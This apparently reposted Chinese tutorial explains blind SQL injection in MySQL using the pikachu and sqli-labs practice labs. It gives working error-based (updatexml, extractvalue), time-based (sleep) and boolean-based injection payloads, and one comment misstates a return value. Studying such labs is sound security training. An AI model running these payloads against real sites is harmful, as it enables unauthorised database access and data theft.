MySQL數據庫sql注入之盲注的原理以及盲注的幾種方法


環境

  • phpstudy
  • pikachu
  • sqli-labs

為什么sql注入會出現無回顯的情況

當我們進行sql注入時,會發生一些無回顯的情況,這時需要我們用到sql盲注的一些方法來進行注入。分析無回顯這種情況,其實是因為數據庫的查詢方法導致的,在我們有回顯進行注入時,數據庫多用的是select查詢,當我們使用select在數據庫中查詢時,會顯示出來數據內容,例如

但是,當我們進行增加、修改或刪除數據時,數據庫卻不會給出這么多提示信息

增加

修改

刪除

因此,在注入過程中頁面並沒有明顯的提示信息,對於這種注入,我們叫做sql注入盲注

業務場景

盲注多用於注冊用戶、修改用戶信息,注冊用戶可以跟數據庫發生增加用戶的數據交互(insert into),而修改用戶信息跟數據庫發生的數據交互為更新(update)

盲注的三種方法

報錯注入

原理:利用函數讓數據庫報錯,利用頁面回顯的信息,從而進行注入

pikachu靶場演示

注冊用戶,抓取數據包,此處的數據庫操作是insert into操作

payload

# payload1
' or updatexml(1,concat(0x7e,database(),0x7e),0) or '

# payload2
' and extractvalue(1,concat('~',(select database()))) and '1'='1

頁面產生錯誤信息

接下來進行進行注入就可以了

延時注入

原理:使用if或者sleep函數,配合mid、substr、ascii、left等函數進行注入

常用的延時注入sql函數

# 如果條件成立,那么返回0,否則返回4
if(條件,0,5)

# sql語句延時執行x秒
sleep(x)

# 從b位置開始,截取a字符串的c位
mid(a,b,c)

# 從b位置開始,截取字符串a的c長度
substr(a,b,c) 

# 從左側截取a的前b位
left(a,b)

# 判斷a的長度是否等於8
length(a)=8

# 判斷x的ascii碼是否等於97
ascii(x)=97

sqli-labs less-9靶場

payload

# 如果數據庫的第一位是s,那么直接返回,否則延時5秒
' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

# 按照這種方法,可以爆出數據庫名,隨后爆表爆字段即可

布爾注入

原理:布爾,顧名思義,true或者false

sqli-labs less-5

我們來到sqli-labs的第五關,查看源代碼

分析代碼,當我們的輸入的sql語句正確的時候,頁面會顯示.....的內容,根據頁面是否顯示內容可判斷我們猜測的數據庫名、表、列等信息是否正確

# 判斷數據庫的長度是否為8
' and length(database())=8#

# 后面步驟不做介紹,采用頁面是否回顯,判斷我們猜測的數據庫名、表、列等信息是否正確,最后完成sql注入

三種方法對比

盲注中使用報錯注入使用的比較多,延時注入容易產生誤判並且耗時較長,而布爾注入耗時較長,因此首選報錯注入

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM